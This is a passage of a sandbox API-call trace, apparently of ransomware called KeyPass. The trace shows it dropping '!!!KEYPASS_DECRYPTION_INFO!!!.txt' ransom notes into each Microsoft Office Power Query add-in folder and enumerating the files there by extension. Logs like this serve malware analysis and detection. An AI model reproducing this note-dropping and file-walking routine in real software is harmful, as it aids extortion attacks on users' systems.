Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.117] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.117] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.117] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.117] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0249.118] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.118] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0249.118] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.118] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0249.118] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.118] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.118] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.118] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.118] GetLastError () returned 0x3f0 [0249.118] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.118] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sr-cyrl-ba\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x760 [0249.176] GetFileType (hFile=0x760) returned 0x1 [0249.176] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.176] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.176] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.176] WriteFile (in: hFile=0x760, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.177] WriteFile (in: hFile=0x760, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.177] CloseHandle (hObject=0x760) returned 1 [0249.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x39000f0 [0249.178] FindNextFileW (in: hFindFile=0x39000f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.178] FindNextFileW (in: hFindFile=0x39000f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.178] FindNextFileW (in: hFindFile=0x39000f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.178] FindNextFileW (in: hFindFile=0x39000f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.178] FindNextFileW (in: hFindFile=0x39000f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.178] FindNextFileW (in: hFindFile=0x39000f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.178] FindNextFileW (in: hFindFile=0x39000f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.178] FindNextFileW (in: hFindFile=0x39000f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.178] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.178] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.178] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.178] GetLastError () returned 0x3f0 [0249.179] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.179] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sr-latn\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0249.280] GetFileType (hFile=0x764) returned 0x1 [0249.280] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.280] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.281] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.281] WriteFile (in: hFile=0x764, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.281] WriteFile (in: hFile=0x764, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.282] CloseHandle (hObject=0x764) returned 1 [0249.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffaf0 [0249.282] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.282] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.282] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.282] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.282] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0249.282] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.282] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.282] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.282] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.282] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.283] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.283] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.283] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.283] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.283] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.283] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.283] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0249.283] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.283] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0249.283] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.283] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0249.283] FindNextFileW (in: hFindFile=0x38ffaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.283] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.283] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.283] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.283] GetLastError () returned 0x3f0 [0249.283] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.283] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sr-latn-cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0249.301] GetFileType (hFile=0x75c) returned 0x1 [0249.301] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.301] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.301] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.302] WriteFile (in: hFile=0x75c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.303] WriteFile (in: hFile=0x75c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.303] CloseHandle (hObject=0x75c) returned 1 [0249.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffbb0 [0249.303] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.303] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.304] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0249.304] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.304] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.304] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.304] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.304] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.304] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0249.304] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0249.304] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0249.304] FindNextFileW (in: hFindFile=0x38ffbb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.304] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.304] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.305] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.305] GetLastError () returned 0x3f0 [0249.305] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.305] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c [0249.461] GetFileType (hFile=0x76c) returned 0x1 [0249.462] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.462] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.462] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.462] WriteFile (in: hFile=0x76c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.463] WriteFile (in: hFile=0x76c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.463] CloseHandle (hObject=0x76c) returned 1 [0249.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffb70 [0249.463] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.463] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.463] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0249.463] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.463] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.463] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.464] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.464] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.464] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.464] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.464] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.464] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.464] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0249.464] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.464] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0249.464] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.464] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel 